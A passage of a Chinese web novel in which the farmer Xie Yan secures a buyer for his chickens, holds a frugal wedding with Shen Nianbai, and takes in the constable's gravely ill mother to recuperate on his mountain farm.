谢言笑了笑,应了声,“刚割了谷子,收成还算不错。”说罢问道,“钟大哥在吗?”
小二回道:“掌柜的在楼上。”
谢言道了声谢,随即上了楼,敲开了钟程台的房门,客气的喊了声,“钟大哥。”
钟程台跟往常一样在屋里自己跟自己下棋,见他来也放下了手中的棋子,与他说话,“看你这么精神,家里的事情都解决好了吧?”
谢言将手里的酒提了起来,“是,解决好了。多谢钟大哥这段时间的照顾,我也没有什么拿得出手的东西,这是我们自己酿的酒,聊表谢意,钟大哥别嫌弃。”
钟程台笑道:“你太客气了,都是举手之劳。”说罢又说到,“既然事情解决了,那念白可以回来做活了吧?”
谢言没想到钟程台会这样说,但他笑着回道:“家里的事情解决好了,念白就不用出来躲了。本来该他今天亲自来道谢的,但是家里最近忙得很,就我一个人来了。”
钟程台道:“解决好了也可以出来做活嘛,念白一个哥儿,在县城做活还是很好的,年纪大了以后也好说人家。”
谢言笑着摆手,“多谢钟大哥周全,只是我们都是大老粗,种花这事还得交给念白。”
钟程台道:“种花多简单,让念白教教,大不了一个月回去个一两次看看就行了,还是在城里方便。”
见钟程台是真的想让沈念白回来,谢言在说别的话推辞也不好,于是他直接说道:“不瞒钟大哥,此次念白回去,已经跟我定了亲,我们打算过段时间就成亲了。”
钟程台一听这话就知道沈念白不可能在回来做活了,也就改了口风,“哎哟,这么大的喜事,我可要好好恭喜你了。日子定了吗,打算什么时候办啊?”
谢言回道:“也没什么日子,就随便弄两桌,拜了天地就行了。”
钟程台道:“成亲可是大事,怎么能这么随便,不说八抬大轿流水席,也得办得像个样子,你现在也是老板了,这说出去可让人笑话。”
谢言笑道:“钟大哥抬举我了,我就是一种地的农户,算什么老板,家里事多得很,真是忙不过来。”话题越说越偏了,谢言顺势转了话题,“这不,昨天我还在跟念白说打算在山上养鸡开荒。”
钟程台也顺势接了话,“养鸡开荒?”
谢言点头回道:“是啊,人开荒又累又慢,所以我打算在二山多养些鸡,鸡吃草虫,把地吃秃了,人就只需要砍大树就行了。”
钟程台没有种过地,听他说着觉得十分有道理,于是点头附和,“这倒是是个好办法。”
谢言道:“不过只有一样。”
钟程台问道:“什么?”
谢言说道:“山大,鸡生鸡越来越多,等荒开完了,这些鸡的销处就成了难题。”
钟程台笑道:“二山开完了不还有三山吗?”
谢言道:“那倒也是。”
钟程台道:“你就放手去干,鸡我肯定给你销了。”
谢言来这一趟就是为了这句话,他笑道:“全仰仗钟大哥了。”
钟程台回道:“说得这叫客气。”
两人又闲聊了一阵,钟程台叫来张佳华给谢言算了之前的货钱,一共卖了二十两,谢言拿两成就是四两银子。
谢言本来是没打算要的,钟程台已经给了他九十两了,但钟程台坚持给了他,说谢言现在用钱的地方多,九十两等以后在抵扣。
谢言无法拒绝钟程台,最后还是把钱收了,真心实意的承诺道:“钟大哥,你放心,我一定会好好干的。”
钟程台道:“你不说我也知道。”
钟程台留谢言吃午饭,席间钟程台将谢言拿来的酒打开喝了,得到了一致好评。
张佳华说:“这灵秀山真是钟灵毓秀,随便拿一样东西出来都是顶好的。”
钟程台点头说道:“就这水准,要是开店保准能干趴大部分的酒庄。”说罢还问了谢言,“有要开店的打算吗?”
谢言连忙表示,“钟大哥别开我玩笑了,这是念白的朋友酿的,真要开店也轮不到我。”
钟程台问道:“就是那个叫柳梦寒的
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?”
谢言点头,“是。”
钟程台问道:“他什么来头啊?酿酒技术这么好。”
这话把谢言给问倒了,至今谢言也不知道柳梦寒是什么来头,只能模棱两可的回道:“他只酿了一回,不知道是不是凑了巧。”
张佳华有些讶异,“酿酒还能凑巧啊?”
谢言回道:“等这批酒喝完,他在酿一批,就知道是不是真的有技术了。”
听了他的话张佳华问道:“你跟他不熟啊?”
谢言回道:“他做饭都是跟念白学的,我平时除了吃饭睡觉都在山上,跟他话都没怎么说过,但念白跟他关系挺好的。”
闻言张佳华更诧异了,“他之前都不会做饭啊?”
谢言回道:“我觉得应该不怎么会做。不过学得很快,才个把月就学得有模有样的,念白走的这段时间都是他做饭。”
张佳华笑道:“没点能耐还去不了灵秀山了。”
谢言道:“张哥说笑了。”
钟程台见状打了圆场,“吃菜,吃菜,尝尝我们厨师发明的新菜,辣椒炒鳝鱼。”
谢言看着一大盆鳝鱼,少量的辣椒点缀,这能好吃?他尝试着夹了一筷子,虽然有辣味,但是很淡,鳝鱼的土腥味倒是十足十的。
钟程台问道:“怎么样?”
谢言想了想后委婉的说道:“之前从没有吃过这种鳝鱼,味道跟我想的不太一样。”
作为农民,田里的鳝鱼一年不说吃几十条,十几条肯定是有的,为了不麻烦,谢言都是让沈念白用火烤的,只是简单加点盐,都要比这天悦酒楼的大厨做的好吃。
纵然谢言说的委婉,但钟程台还是听出了他话里的意思,“怎么个不一样法?”
谢言回道:“我之前都是吃烤的,炒的还是第一次吃,没有烤的焦脆。”
张佳华道:“做法都不一样,味道肯定不一样,你就说这道菜你觉得味道如何?”
谢言扫了一眼桌子上的菜,他心想,饭都吃了一半了,这道菜还没有怎么动过,这还要怎么说呢?
“我觉得鳝鱼的本味太重了。”
张佳华微微皱眉,“会吗,加了辣椒之后,鳝鱼的土腥味已经盖了很多了。”
他这一说,谢言就明白了,他们之前没有辣椒,土腥味会更重,现在加了辣椒已经盖了一部分土腥味了,前后对比起来,他们才会觉得好吃。
谢言尝试着提醒,“可以在试着把调料的味道加重一些。”
钟程台回道:“不是不想加,而是调料跟不上。今年的辣椒已经快要收尾了,之前晒了一些干辣椒,要想平稳的度过这个冬天,还得精打细算。”
谢言懂他的意思,本来加一点辣椒就能改进口味了,还能细水长流,若是辣椒加多了味道是大幅度提升,但原料马上就要告罄,算下来当然是细水长流更划算。
谢言立马说道:“明年一定扩大辣椒的产量。”
钟程台道:“不仅光是辣椒,还有别的香料能种的也都多多种起来。”
谢言当然应承,“钟大哥放心。”
72.第 72 章
谢言从天悦酒楼回到家看到柳梦寒和沈念白一起在喂猪,沈念白先看见他,开口问道:“谢言哥,吃午饭了吗?”
谢言回道:“在天悦酒楼吃了,栅栏编好了?”
沈念白回道:“编好了。”
谢言点了头,“等会就把栅栏立起来,把鸡赶到山上去。”
一听这话,沈念白就知道谢言此去谈得很顺利,应声道:“好。”
柳梦寒听见他的话,与沈念白说道:“念白,你跟谢言哥去忙吧,这里我一个人得行。”
沈念白应声,“行。”
谢言顺势问道:“栅栏在哪呢?我去拿?”
“就在坝子旁边立着。”沈念白说完又觉得谢言可能找不到,于是又说,“我去拿吧。”
“一起吧。”
两人一道去了院子,谢言已经拿上栅栏了,但突然想起光有栅栏还不过,还得扛木棒,于是将栅栏给了沈念白,自己扛着木棒子。
谢言跟着沈念白走,沈念白停下来他也停了下来,二山没有开荒,平时也没有人会到这里来,荒得很,杂草比人好高,更别说路了。
沈念白道:“就这里吧。”
谢言自然是没有问题的,将木棒子扔在了地上,杂草太高了,视线都看不出去,谢言道:“你看着点,我把杂草稍微砍了砍,把木棒子插进地里去。”
知道木棒子是用来固定栅栏的,所以昨天许承志他们已经把尖头给削好了,直接就能用。
沈念白道:“你砍吧,我来插。”
“行。”
沈念白道:“就从这里开始吧。”
照着沈念白说的,谢言开始砍杂草,反正是为了喂鸡,所以也不用像开荒一样割得很干净,就从杂草中间砍一刀,不至于遮挡视线就行了。
谢言砍了一圈,他估计了一下,直径大概有个十米,养一百只鸡肯定没有问题。
鸡圈的位置定好了,就可以开始围栅栏了,将竹子编的栅栏插进木棒里,然后在把木棒插进地里,这样重复重复,直到围成了一个圈,鸡圈就做好了。
谢言道:“回去就可以把鸡引过来了。”
沈念白有些迫不及待,“我这就回去引去。”
谢言道:“行。”
两人回了家,沈念白去坝子上盛了一小筐谷子,然后打开了鸡圈的门,一边洒谷子一边‘咕咕咕’的唤。为了防备今天就要引鸡去荒山,特意一整天都没有喂鸡,鸡早就饿得不行了,一直跟在沈念白后边吃谷子。
随着最后一只鸡进了鸡圈,沈念白将手中的谷子全部倒在了地上,鸡全部低头吃谷子,沈念白趁机出了鸡圈,然后关上了鸡圈的门。
沈念白回家的时候谢言正在收谷子,沈念白将筐子放下就过来帮忙,谢言问道:“鸡全都过去了?”
沈念白回道:“嗯,全都引过去了,不过这样露天的不行,还得做些躲雨的棚子。”
谢言道:“行,这两天就把棚子给做起来,以后喂食也有个定处。”
沈念白道:“喂两三个月就能把鸡圈给撤了吧?”
谢言也没有在荒山上喂过鸡,也不知道一百只鸡多久能把鸡圈那点地给叨叨秃,“什么时候把鸡圈那点地给叨叨秃,就什么时候撤吧。”
沈念白觉得他说得有道理,“那我慢慢的也把栅栏编起来,整座山要不少栅栏。”
“行,粮食估计要省着点,以后鸡多了,肯定不够吃。”
沈念白道:“好,我每天少喂点,让它们自己取山上找食吃。”
谢言道:“鸭子没啥用了,这段时间就把鸭子给吃了吧。”
鸡多了,就没有多余的粮食喂鸭子了。
沈念白道:“好,我等会就跟梦寒说去。”
两人说着话就把谷子给收完了,今年确实很干,一连三个月都没有怎么下过雨,晒谷子这些天也没有跟天抢过时间。
收完了谷子,谢言背着背篓就要上山去割牛草,此时天都快黑了,沈念白就说跟他一起去,但牛草不比猪草,牛草都是杂草硬邦邦的很容易割手,所以谢言拒绝了,“不用了,我割惯了,很快就割回来了。晚饭给我留着就行,不用等我回来吃。”
沈念白也没有坚持,“行。”
谢言割完牛草回来屋里已经吃过饭了,大家都去河里洗澡了,今天晚上月光很亮,沈念白还在坝子里编栅栏,看见谢言回来连忙迎了上来。
沈念白本来打算把谢言肩上的背篓接下来,但是谢言道:“重得很不用接,我摔地上就行了。”
听到他的话沈念白便往后退了两步,谢言将背篓摔到地上发出很响的声音,谢言抬手用手背擦了一把额头的汗,“看着没多少,重得很。”
沈念白看着冒出来跟小山一样的牛草,“看着也挺多的。”
谢言笑了笑,“眼力不差。”
沈念白被他逗笑了,“你去吃饭吧,我来喂牛。”
谢言确实饿了,也没有跟他客气,“行。”
谢言走到灶前,熟练的打开锅盖,一股喷香的饭菜味道直冲鼻腔,谢言伸腿勾了一根板凳坐在灶前,只把饭端了起来,其他的菜端都没有端上来,靠在灶台上就开始吃饭。
柳梦寒喂完兔子过来,看见谢言倚在灶台上吃饭,顺口问了句,“谢言哥,念白呢?”
谢言回道:“在喂牛呢。”
柳梦寒走过来,“谢言哥,你们的好事将近了,婚房不布置布置吗?”
这话倒是提醒谢言了,他看向柳梦寒问道:“我也有这个想法,你觉得应该怎么布置?”
柳梦寒道:“婚服,红烛,喜字,红绸,还有礼堂和婚房要好好的布置,红被子红褥子肯定要吧。”
谢言听着柳梦寒的话,“我明天去县城里看看。”
柳梦寒问道:“你一个人去啊?”
谢言反问道:“那不然呢?”
柳梦寒道:“婚服不一定有现成的,得量尺寸现做吧,花色也得选吧,成个亲要置办的物件多着呢,要买肯定要买自己喜欢的啊。”
谢言道:“哦,行,我等会跟念白说说。”
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柳梦寒见谢言兴致不高,也就没有在说下去了,坐到了灶前又开始煮猪食。
谢言吃完了饭,将碗放下后,等大家都洗完了澡这才拿着衣服去了河边。
洗完澡回来见沈念白一个人在屋前坐着,谢言问道:“在这儿坐着干什么呢?”
沈念白抬头看着他,“梦寒说你有事找我。”
谢言应了声,“哦,是有点事。”
沈念白问道:“什么事啊?”
谢言抿了抿唇,“咱们进屋说吧。”
沈念白有些诧异,但见谢言的神色似乎是不小的事,于是起了身。两人一道进了屋,这段时间竹屋外面的柴用了许多,月亮能从缝隙照进来,屋里也没有之前那么暗了。
谢言走到床上坐下,沈念白感觉到他的心情并不算好,迟疑着问道:“谢言哥,到底怎么了?”
顿了好一会儿谢言才开了口,“念白,对于婚礼你有什么想法吗?”
沈念白似乎不明白他的意思,“什么什么想法?”
谢言抿了抿,问道:“就是礼服,还有礼堂,新房这些,你有什么要求吗?”
沈念白回道:“我唯一的要求就是要嫁给你。”
听到沈念白的话,谢言心里涌起一股难言的感动,以及自责。
沈念白见谢言情绪不对劲,忙问道:“谢言哥,到底怎么了?”
谢言回道:“今天我去天悦酒楼,结了这段时间的货钱,一共四两银子。”
沈念白听到他的话就皱了眉,因为四两银子对现在的谢言来说太少了。之前沈念白问过柳梦寒,现在这么多人,一个月的工钱都是四两两百文,而从现在开始地里基本上出不了什么货了,得到明年四五月才会开始有货供给,相当于七八个月没有进账,而每个月还得支出这么多钱。
沈念白瞬间就明白了谢言的意思,他伸手拉住谢言的手,“谢言哥,我什么都不要,只要咱们拜过天地,成了亲我就满足了。”
这话听着谢言更加自责了,他道:“这太委屈你了念白。”
沈念白顺势靠在他的肩膀上,“谢言哥,你不知道我有多感谢自己这辈子能遇到你。只要能跟你在一起,我永远不会觉得委屈。”
谢言道:“等我赚到钱了,我一定补给你一个盛大的婚礼。”
沈念白笑道:“好啊。”
谢言抱住了他的肩膀,衷心的说道:“谢谢你,念白。”
沈念白抬头看向他,但从他的角度只能看到谢言的棱角分明的下巴,他真诚的说道:“要谢也该是我谢谢你。谢言哥,若是没有你,也不会有我。”
两人抱着坐了一会儿,空气中的气氛慢慢的变了,就在即将失控的时候沈念白突然站了起来,“谢.谢言哥,时候不早了,你睡觉吧,我也回去睡觉了。”
沈念白说完就急急忙忙的走了,谢言看着他匆忙的背影不由得失笑,“你慢点,我不会干什么的。”
听到他的话沈念白顿了一会儿,随即跑得更快了,看得谢言哭笑不得,他这是有多吓人?
73.第 73 章
白天太阳热,谷子一连晒过四五天就可以进仓了。把谷子收进仓,鸭子就能放出去了。虽然这几天每天都吃鸭子,大家伙都吃腻了,还剩了好几十只,放出去看着一大群,甩着尾巴在只剩下谷桩子的田里撒欢儿的游来游去。
二山的鸡才几天就已经把鸡圈里的草叨叨完了,剩下的都是不能吃的老枝和带刺老藤,地上光秃秃的,露出踩得实实的黄色泥土来。
谢言将鸡圈里老枝和老藤给砍了,然后喊了许承志一块用竹子搭了一个遮雨棚。
遮雨棚没有做得很大,因为谢言打算以后开荒的地扩散出去后,在山上多搭几个,数量多了每个就不需要那么大。
二山大,若是靠沈念白一个人编栅栏,一个月都编不完,于是谢言叫所有人一起来编栅栏,这边编那边去围,三天就将二山给围了起来。
山围了起来,谢言就将原本的鸡圈给拆了,然后在夜深人静的时候在系统商城兑了一千只小鸡崽和五只山羊,一股脑扔二山去了。
第二天一大早,沈念白就急匆匆的找到谢言与他说了这事,“谢言哥,我看到二山的鸡群有好多好多小鸡崽。”
谢言道:“这么大的山,鸡越多越好啊。”
沈念白知道是他放的,不过虽然知道但一晚上就多了这么多鸡崽,他还是觉得很惊奇的,他与谢言说道:“鸡崽太小了,吃不了谷子,我去挖些红薯跟野菜混着煮熟了喂。”
谢言道:“我去割牛草,一起去吧。”
“好。”
两人背着背篓一块往山上去,路上看到宋家人正在翻土,这个时节地里的菜大多都收头了,得翻土准备种下一季的菜了。
路上谢言与沈念白说道:“我在想在三山圈一块地出来,喂猪。”
沈念白道:“猪不吃草,让猪开荒效果应该不好吧。”
谢言说道:“倒不是想要猪开荒,现在猪圈离家这么近,臭得很,弄到山上去了,家里干净些。”
猪圈肯定是臭的,虽然沈念白觉得这很正常,毕竟村子里家家户户都是这样的,但他还是同意谢言的想法,“好啊。”
谢言道:“猪再养两三个月,就可以杀了过年了,等下一批小猪崽就赶到山上去。”
沈念白应声,“好。”
沈念白先到了地方,谢言背着背篓继续往山上去。牛草割了一背又一背,日子过了一天又一天,转眼就到了二十三号了。
这天谢言早早地就起来,大家早上起来看到谢言都是笑呵呵的,“谢大哥,恭喜恭喜。”
除了吉祥话和高昂的心情,今天的日子也与平时差不多,只是柳梦寒和宋家人今天一整天都在做饭。谢言没有上山,而是带上沈念白一起去了县城,别的可以没有,但红烛是绝对不能少的。
两人来到城里,谢言本来打算去买两身新衣服的,毕竟是成亲,就算不买婚服也应该买一身新衣服,婚服以后不能穿就买一身以后也能穿的。但被沈念白劝下来了,现在把钱花了,过几个月要是发不出工钱怎么跟大家解释呢?而且过几个月就要过年了,大家肯定都要花钱的。
最后的最后,两人就买了一对红蜡烛,还有在谢言的坚持下买的几个大馒头。沈念白本来连馒头也舍不得买,说柳梦寒肯定会给他们留饭的,但谢言觉得他们成个亲也太惨了,不顾沈念白的劝阻还是买了六个大馒头在回家的路上吃。
两人在路上吃着馒头,噎住了又去找山泉水,好在谢言对这条路很熟了,哪儿有山泉水门清,赶紧带着沈念白跑到地方,沈念白猛地喝了一两口才好了。
谢言看着沈念白被噎得通红的脸,十分内疚地感叹,“我们好惨。”
山泉水从山上流下来,在石头上滴出了一个坑,刚好可以捧起来喝,沈念白歪头问他,“喝不喝?”
谢言吸了吸鼻子,大声地回了句,“喝。”
沈念白手捧起山泉水,看向了谢言,示意他喝,谢言有点不习惯被人伺候,一时有些无措,但他也只是顿了一瞬,然后就低头喝了沈念白手里的水。
喝完后沈念白问他,“还喝吗?”
谢言摇头,“不渴了。”
沈念白又问道:“那你还觉得我们惨吗?”
谢言看着他笑了笑,“有你在,不惨。”
沈念白这才跟着他笑出了声,挽着他的手臂,“回家,梦寒肯定做了很多好吃的。”
“嗯。”说完谢言又拿出馒头问道,“那馒头还吃不吃?”
沈念白拿了一个过来,“吃啊。这也是好吃的。”
谢言看着他手上白净暄软散出丝丝甜味的馒头,暗暗下定决心,以后一定要让沈念白吃遍这天下所有的好东西。
六个馒头,沈念白吃了三个,谢言吃了三个,吃完走到家还没饿。柳梦寒他们都在等着两人吃午饭,柳梦寒见他们两手空空的回来,连忙问道:“你们买的东西呢?”
谢言拿出一对红烛,“我放楼上去。”
谢言去了新家,留下柳梦寒一脸难以置信,他拉着沈念白问道:“就这?”
沈念白点头,“嗯。”
见沈念白恍若无事人一样点头,柳梦寒更难以置信了,“不是,你们今天成亲,还特意去县城买东西,就买了一对红烛?”
沈念白点头,“对啊。”
柳梦寒问道:“婚服呢?喜被呢?喜字窗花呢?”
沈念白回道:“没买。”
柳梦寒追问道:“为什么?”
沈念白回答:“不需要。”
“啊?”
沈念白解释道:“我没让谢言哥买,我们商量好了,弄简单一点,拜天地,在好好的吃一顿,就很好了。”
柳梦寒看着沈念白满脸幸福的样子,虽然祝福但心里总归觉得不行,“这可是成亲啊,这也太简陋了。”
沈念白拍了拍他的手,“梦寒,我知道自己在做什么,你不用觉得我委屈。能嫁给谢言哥,即便不能吃好吃的,我也乐意。”
今天是大喜的日子,沈念白都这么说了,柳梦寒也不好在泼冷水,他只能说:“念白,今天你最大,你说什么就是什么。”
沈念白道:“嗯。”
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柳梦寒问道:“饿了吧,吃饭吧。”
沈念白朝房子里喊道:“谢言哥,吃饭了。”
谢言自然的回了声,“来了。”
谢言落了座就开始吃饭了,热气的腾腾的炖鸡,炖鸭,□□,麻辣烤鱼,新酿的美酒。
空气都是喷香的。
谢言端着酒碗起身说道:“今天是我谢言与沈念白的大喜日子,感谢大家的见证。话不多说,我干了。”说完就一仰而尽了,沈念白担心他连忙拉了他的袖子,想让他别喝那么多。
谢言低头朝他笑了笑,“没事。”
大家也纷纷端起酒碗,“恭喜谢大哥,念白兄弟。”大家都在喝酒,沈念白还在关心谢言,柳梦寒赶紧拐了拐他,小声的提醒道:“喝酒啊。”
沈念白这才伸手去端酒碗,谢言见状按住了他的手腕,“不喝没事。”
沈念白道:“我少喝一点。”
谢言道:“抿一点就行了。”
沈念白端起酒碗,他想说点什么,但又不知道该说什么,于是他只是轻抿了一小口,算是回应了。
大家都不是话多的,但今天喝了酒都像打开了话匣子,谢言跟他们有一搭没一搭的说着,沈念白和柳梦寒、宋家人一起坐着吃饭讨论起了今天的菜。
一顿午饭吃到下午,大家都醉了,有躺地上的,有趴在桌子上的,但大多还是回房睡的。
谢言醉得人事不省,是沈念白和柳梦寒两个人把他扛到竹屋里的。
柳梦寒看着谢言,与沈念白说道:“你照顾他吧。”
沈念白道:“外面那么乱,我跟你去收拾,谢言哥睡觉不用人照顾。”
柳梦寒道:“说什么呢,今天可是你成亲的日子,不好好跟你相公恩爱,收拾什么?”
沈念白被他直白的话说得很不好意思,“好好好,我不去了。”
柳梦寒望着他笑了笑,转身走了。
门关上,沈念白都还缓了好一会儿才冷静了下来,他侧身看向睡得正酣的谢言,嘴角不自觉的露出满足的笑意,他喊了声,“谢言哥。”
没有反应,沈念白又喊了声,还是没有反应,确定谢言不会醒,沈念白这才俯身在谢言的脸上亲了一下。
谢言一觉睡到晚上突然就惊醒了,睁开眼天都已经黑了,屋里就他一个人,他赶紧起床跑了出去,柳梦寒他们晚饭都已经做好了,见他出来,与他打招呼,“谢言哥,睡醒了?”
谢言问道:“念白呢?”
柳梦寒道:“喂鸡去了。”
谢言震惊,“啊?”
柳梦寒耸了耸肩,“他非要去,说鸡认识他了,拦都拦不住。”
“我找他去。”谢言说着就往外走去,结果走到院子口就遇到了回来的沈念白。
沈念白看着他关切的问道:“谢言哥,你酒醒了?”
谢言回道:“醒了。”说罢又问道,“你怎么还去喂鸡了?”
沈念白悄悄的与谢言说道:“我怕他们去看见那么多小鸡不好解释。”
“哦。”
74.第 74 章
婚礼办得很简单,在摇曳红烛下拜了天地,在大家的见证下就成了夫夫。
婚礼就像是平静的湖面投下的小石子,只是短暂的让湖面泛起涟漪,很快就归于平静了。唯一的不同是,谢言和沈念白搬进了新家,柳梦寒不用在矮小的灶台上做饭了,大家也可以在宽阔的坝子上吃饭了。
秋播的季节,谢言每天都忙着种菜,他的菜苗都是从系统商城里买的,虽然他之前为了掩人耳目也撒了一下两厢菜种,但自己撒的种子发芽率很低而且苗情也不好,根本不能用。为了不引起怀疑,所以谢言全得自己种。
而他自己播种的菜苗则全部变成了鸡饲料,沈念白反馈说鸡很喜欢吃嫩菜苗,尤其是小鸡崽。
于是谢言盘算着留一两块土,专门撒菜籽割菜苗喂鸡。
秋天种的菜基本上是为过冬准备的,他们的人这么多,所以谢言打算把新开出来的地也全部种上。
萝卜,生菜,菜头,花菜,卷心菜,白菜,莴苣,香菜都是这个季节种的,谢言每样都种了许多。
菜苗种下去事情就更多了,要施肥,要浇水,还要除草杀虫,谢言每天在菜地忙得不可开交。这天他正在挑水浇菜,突然听到柳梦寒喊他,“谢言哥,谢言哥,快回来。”
听到柳梦寒急切的声音,谢言知道肯定是有事,连扁担都没有放下就连忙应了一声,“来了。”
谢言将水桶放在路中央,急急地往家跑去。
回到家就看到王捕头面色焦急地站在院中。见他如此神色,谢言心中咯噔了一下,连忙问道:“捕头大哥,你怎么来了?”
王捕头急急问道:“之前你给我娘的枇杷膏还有没有?”
听到他的话谢言侧头看向了柳梦寒,自从柳梦寒接了沈念白做饭的活,食物都是他在管理的。
柳梦寒看到谢言询问的视线,点了头,“还有。”
王捕头道:“还有多少我全都要了,回头我把钱给你送来。”
谢言闻言忙道:“说什么钱不钱的,捕头大哥看得上,拿走就是。”说完就朝柳梦寒说道,“去把剩下的枇杷膏全拿过来。”
柳梦寒应了一声就去了。
在等待的间隙,谢言才问道:“捕头大哥,出什么事了吗?”
王捕头看向谢言,顿了好一会儿才重重的叹了口气,“我娘重病,想吃你之前给她的枇杷膏。”
谢言听到他的话也皱起了眉头,王大娘虽然看起来病恹恹的,但远没有达到病重的程度,见王捕头这样子,谢言甚至感觉王大娘时日无多了。
谢言宽慰他道:“捕头大哥你别太着急了,王大娘身子骨硬朗肯定会好起来的。”
王捕头看向谢言,“之前我娘一直很想到你这儿来种树,我不准她来她一直不高兴,大夫也说她是抑郁成疾。”
他这话让谢言想起了王大娘之前问他这里招不招人的话,难不成当时她就想来?但谢言想不明白的是,她放着好好的福不享,想来荒山种树?
谢言道:“荒山偏僻,蛇虫鼠蚁甚多,并不是好处。”
王捕头道:“谢言,我想请你帮我一个忙。”
谢言连忙道:“捕头大哥,你这话可折煞我了,你有话说就是,我一定办成。”
王捕头道:“我想让我娘在你这儿住一段时间,你替我好好照顾她。”
谢言一听就愣住了,这都病重了,还要弄到荒山里受罪?但王捕头他是绝对得罪不起的,于是他委婉的表示,“捕头大哥,王大娘来肯定是没有问题的,我们人这么多,分个人照顾她也好办。只不过,我这儿毕竟是荒山,条件艰苦,万一有个什么闪失,我..”
话不用说完,说透了容易得罪人,意思到了就行。
王捕头自然明白他的意思,他道:“你好生照料就是,若是出了问题,我绝不会怪你。”
有了他这句话,谢言连忙表示,“捕头大哥,你放心,我肯定会好好照顾大娘的。”
话说完,柳梦寒把枇杷膏也拿过来了,还有很大一罐,除了前几天沈念白有点咳嗽吃了一些,根本没人动过。
谢言热情的说道:“捕头大哥,我给你送去吧,顺便看望看望大娘。”
王捕头知道王大娘喜欢谢言,也没有拒绝了,“走吧。”
“这罐子抱着不好走,我拿个背篓装了背着走,等我一下。”
谢言趁拿背篓的时候与柳梦寒说道:“等会你跟念白说一声,我去县城办点事,你再让他把楼上楼下都收拾一间房出来,有人来住。”
柳梦寒好奇地问道:“谁啊?”
谢言抬头看了一眼不远处的王捕头,还是没有说出来,只道:“到时候就知道了。”
柳梦寒顺着他的视线看过去,顿时一惊,这年头捕头也不好当了要来他们这儿打工了?
谢言根本没察觉到柳梦寒的震惊,背着背篓就与王捕头一道去县城了。
来到县城已经是傍晚了,谢言跟在王捕头身后,随着他开门的动作一股浓郁的苦涩的药味扑面而来,谢言闻着都有些难受。
谢言跟着王捕头来到王大娘的房门口,谢言想着他进去不合适,于是就在门口等着。
王捕头走进屋中,看着床边骨瘦如柴的王大娘心里百般不是滋味,王大娘闭着眼睛看起来睡着了,但在王捕头在床边站定的一瞬间她睁开眼睛,一睁开就是一阵咳嗽,王捕头连忙俯身给她拍背,同时说道:“娘,谢言来送枇杷膏了。”
闻言本来还咳得很厉害的王大娘倏然停止了咳嗽,她抬头看向王捕头,“他人呢?”
王捕头回道:“在门外。”
王大娘闻言垂下眼眸,“我没几天好活了,在好的东西吃了也是浪费,你让他把东西带回去吧。”
听着她自轻的话,王捕头皱紧了眉头,“别胡说,我已经跟谢言说了,等你身体好点了就去领秀山种果树。”
王大娘自嘲的说道:“我这把老骨头去了也是添麻烦
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,我不去了。”
王捕头道:“我已经跟他说好了,我还说你是十里八乡种地最厉害的,在差的地都能种出庄稼,他这次来就是来接你去指点的,他有三座荒山要开出来种地,正愁没人帮忙,听到你要去,高兴了一路。你要现在反悔,我就把他喊进来你自己跟他说。”
说罢王捕头就朝门口喊了声,“谢言。”
门外的谢言赶紧应了声,“来了。”
谢言背着背篓进了屋,看到床上的王大娘时心里十分惊讶,这才短短半年就瘦得不成样子了,头发全都白了,说八十也不像假的了。但谢言面上半点不显,只是将枇杷膏拿了出来,“大娘,就剩这点枇杷膏了,您先吃着,等明年枇杷熟了,咱们在重新做过。”
王大娘看着他笑了笑,“你有心了。”
谢言笑道:“我请了十几个人在开荒,以后打算种一片枇杷林,听说您想来帮忙,我来县城都是跑着来的。”
王大娘咳了咳,谢言赶紧倒了杯水递给她,王大娘接了过去,只是握在手里没有喝,谢言见状问道:“是不是冷了?我去烧点热水吧。”
王捕头接了话道:“我去吧。”
王捕头说完就走,王大娘喊住了他,“别去了。”
王捕头回头看向她,王大娘抬眸与他对视着,“去收拾行李,这就去领秀山吧。”
听了她的话王捕头微微皱眉,“现在天都要黑了,明天去来得及。”
但王大娘却很坚持,“不,就今天去。”
谢言站在旁边想劝,但又实在不知道该怎么劝,几次张了嘴就是没话说出来,最后只能闭上了嘴,直到王捕头开始瞪他,他才磕磕巴巴的说了一句,“晚上走山路不安全,要不..”
话还没有说完就被王大娘截住了,“不要。”
谢言谁也得罪不起,两者相比,他觉得王大娘更不能得罪,于是他看向王捕头面色为难的默默摇了摇头。
王捕头见谢言靠不住也不在看他了,他又看向了王大娘,见王大娘一脸坚决的样子,妥协道:“我去收拾。”
王捕头走了,王大娘才像脱力一般重新躺到了床上,谢言还以为她不舒服,忙问道:“大娘,你觉得不舒服吗?”
王大娘朝他笑了笑,“没有,你别紧张,我就是坐累了躺一会儿。”
谢言心想,坐一会儿就累了,那要走到灵秀山岂不是半条命都去了,于是他委婉的劝道:“大娘,灵秀山离县城挺远的,我刚才过来都走了一个时辰,腰酸腿疼的。”
王大娘道:“我去过,是挺远的。”
谢言见她似乎没有打消今晚要去的念头,又继续说道:“山路难走得很,尤其是到了秋天,晚上风吹着又冷,更难走了。”
王大娘完全不接茬,“这你不用担心,我多穿两件衣裳就是了。”
谢言听到她的话,知道自己的劝说半分作用都没有,他也想不到别的理由了,只能在一旁嘿嘿的笑了两声掩饰尴尬。
75.第 75 章
谢言三人回到灵秀山已经是半夜了,沈念白因为挂念谢言还在院子里等他,见他们回来赶紧起身迎了上去,看到王捕头以及他背着的王大娘时才信了柳梦寒的话,招呼道:“捕头大哥,王大娘。”
谢言小声问道:“房间收拾出来了吗?”
都是新房子,所谓的收拾也就是把床铺上,沈念白点头,“楼上楼下都收拾出来了。”
谢言闻言看向王捕头问道:“捕头大哥,你看大娘是住楼上还是住楼下?”
王大娘病得重,走路都费劲更别说爬楼梯了,自然是睡楼下。
安顿好王大娘后,王大娘精神不济很快就睡了。谢言带着王捕头去了楼上的房间,两人都累着了,各自回房睡了。
谢言一回房就看见沈念白坐在床上目光炯炯的看着他,谢言失笑,“你这么看着我干什么?”
沈念白忙不迭的问道:“王捕头真的要来我们这儿干活?”
见他想的跟自己想的不一样,谢言略微尴尬的笑了笑,“怎么可能?”
沈念白愣了一下,“那他们这么晚来是?”
谢言解释道:“是王大娘身体不好,来我们这儿养病。”
这一说沈念白更惊讶了,“来我们这儿养病?”
谢言点头,“嗯,这段时间要辛苦你和梦寒了,王大娘病得很重,要人照顾,别人我都不放心,只有交给你和梦寒我才放心。”
沈念白又忙问道:“那王捕头也会留下吗?”
谢言脱了衣裳上了床,抱着沈念白躺了下去,“不会,他明天早上就要走,以后时不时来看看王大娘。”
沈念白又问道:“王大娘要住多久啊?”
谢言一边勾开了沈念白的衣裳,一边低声回道:“我也不知道。”
一夜好眠。
第二天谢言和沈念白是被柳梦寒叫醒的。
“谢言哥,念白,吃饭了。”
